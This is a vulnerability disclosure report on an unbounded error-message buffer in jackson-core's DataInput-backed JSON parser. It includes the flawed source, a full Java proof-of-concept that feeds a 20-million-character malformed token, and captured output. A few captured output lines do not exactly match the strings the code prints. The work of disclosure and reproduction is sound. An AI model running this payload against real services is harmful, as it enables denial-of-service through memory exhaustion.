CVE-2026-89425

Status

FULLY REPRODUCED. A malformed token fed through createParser(DataInput) produced a
20,000,109-character exception message from a 20-million-character attacker payload, while the
identical payload fed through createParser(InputStream) produced a correctly bounded
367-character message.

Affected Component / Version

• Package: com.fasterxml.jackson.core:jackson-core
• Confirmed against: jackson-core-2.20.2
• Affected file: src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java
  (_reportInvalidToken(int, String, String), lines ~2763-2780 in the 2.20.2 tree)

Technical Analysis

UTF8DataInputJsonParser._reportInvalidToken() builds the offending-token description for its
exception message by appending identifier characters one at a time to a bare StringBuilder:

protected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException {
    StringBuilder sb = new StringBuilder(matchedPart);
    while (true) {
        char c = (char) _decodeCharForError(ch);
        if (!Character.isJavaIdentifierPart(c)) {
            break;
        }
        sb.append(c);
        ch = _inputData.readUnsignedByte();
    }
    _reportError("Unrecognized token '"+sb.toString()+"': was expecting "+msg);
}

There is no check against ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)
anywhere in this loop. By contrast, the sibling UTF8StreamJsonParser implementation of the
same logic does enforce it:

// UTF8StreamJsonParser.java (control, correctly bounded)
if (sb.length() >= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) {
    sb.append("...");
    break;
}

ReaderBasedJsonParser and NonBlockingUtf8JsonParserBase also correctly enforce the limit ,
this is a defect isolated to the DataInput-backed implementation specifically, confirmed by
direct comparison of all four parser implementations in this tree.

This path is additionally left with no fallback control: because of [core#1570]-related
logic in JsonFactory, configuring maxDocumentLength causes DataInput-sourced parser
creation to be rejected outright, so a document-length backstop cannot coexist with this input
source, and the identifier-character accumulation never passes through
ReadConstrainedTextBuffer, so maxStringLength does not apply either. There is no
configuration an application can set to mitigate this specific path.

Reproduction Procedure

Same clone/build steps as jackson-core_1_...md. Then:

CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar"
javac -cp "$CP" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java
java -Xmx2g -cp "poc:$CP" PoC6_UnboundedErrorTokenStringBuilder

Full PoC Source (poc/PoC6_UnboundedErrorTokenStringBuilder.java)

import com.fasterxml.jackson.core.*;

import java.io.DataInputStream;
import java.io.IOException;
import java.io.InputStream;

public class PoC6_UnboundedErrorTokenStringBuilder {

    static class RepeatingByteInputStream extends InputStream {
        private final int b;
        private long remaining;
        RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; }
        @Override public int read() {
            if (remaining <= 0) return -1;
            remaining--;
            return b;
        }
    }

    public static void main(String[] args) throws Exception {
        final long IDENTIFIER_CHAR_COUNT = 20_000_000L;

        System.out.println("Malformed token: \"t\" followed by " + IDENTIFIER_CHAR_COUNT
                + " Java-identifier characters ('x'), then a terminating space, never completing"
                + " \"true\"/\"false\"/\"null\"/NaN.\n");

        System.out.println("=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===");
        {
            InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"),
                    new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8"));
            DataInputStream dataIn = new DataInputStream(raw);
            JsonFactory factory = new JsonFactory();
            JsonParser p = factory.createParser((java.io.DataInput) dataIn);

            long heapBefore = usedHeap();
            long t0 = System.nanoTime();
            String message = null;
            try {
                p.nextToken(); p.nextToken(); p.nextToken();
            } catch (JsonParseException e) {
                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();
            } catch (IOException e) {
                message = "(stream ended: " + e + ")";
            }
            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
            long heapAfter = usedHeap();

            int msgLen = message == null ? -1 : message.length();
            System.out.println("Exception message length: " + msgLen + " characters");
            System.out.println("Elapsed time: " + elapsedMs + " ms");
            System.out.println("Approx additional heap used: " + ((heapAfter - heapBefore) / (1024 * 1024)) + " MB");
            System.out.println("Message length proportional to the full " + IDENTIFIER_CHAR_COUNT
                    + "-character payload (unbounded)? " + (msgLen > 1_000_000));
        }

        System.out.println("\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===");
        {
            InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"),
                    new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8"));
            JsonFactory factory = new JsonFactory();
            JsonParser p = factory.createParser(raw);

            long t0 = System.nanoTime();
            String message = null;
            try {
                p.nextToken(); p.nextToken(); p.nextToken();
            } catch (JsonParseException e) {
                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();
            } catch (IOException e) {
                message = "(stream ended: " + e + ")";
            }
            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
            int msgLen = message == null ? -1 : message.length();
            System.out.println("Exception message length: " + msgLen + " characters");
            System.out.println("Elapsed time: " + elapsedMs + " ms");
            System.out.println("Message length bounded near default maxErrorTokenLength (256)? " + (msgLen < 500));
        }
    }

    static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) {
        InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle);
        return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix));
    }

    static long usedHeap() {
        Runtime rt = Runtime.getRuntime();
        System.gc();
        return rt.totalMemory() - rt.freeMemory();
    }
}

Captured Evidence (actual run output)

Malformed token: "t" followed by 20000000 Java-identifier characters ('x'), then a terminating
space, never completing "true"/"false"/"null"/NaN.

=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===
Exception message length: 20000109 characters
Elapsed time: 81 ms
Approx additional heap used (best-effort, GC-noisy): 38 MB
Message length is proportional to the full 20000000-character attacker payload (unbounded)? true

=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===
Exception message length: 367 characters
Elapsed time: 7 ms
Message length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true

The same 20-million-character malformed token, fed to the two parser variants, produces a
367-character message via the correctly-bounded InputStream path and a 20,000,109-character
message via the vulnerable DataInput path, a difference of roughly 54,500x for identical
input, confirming the missing bound is the sole cause of the difference.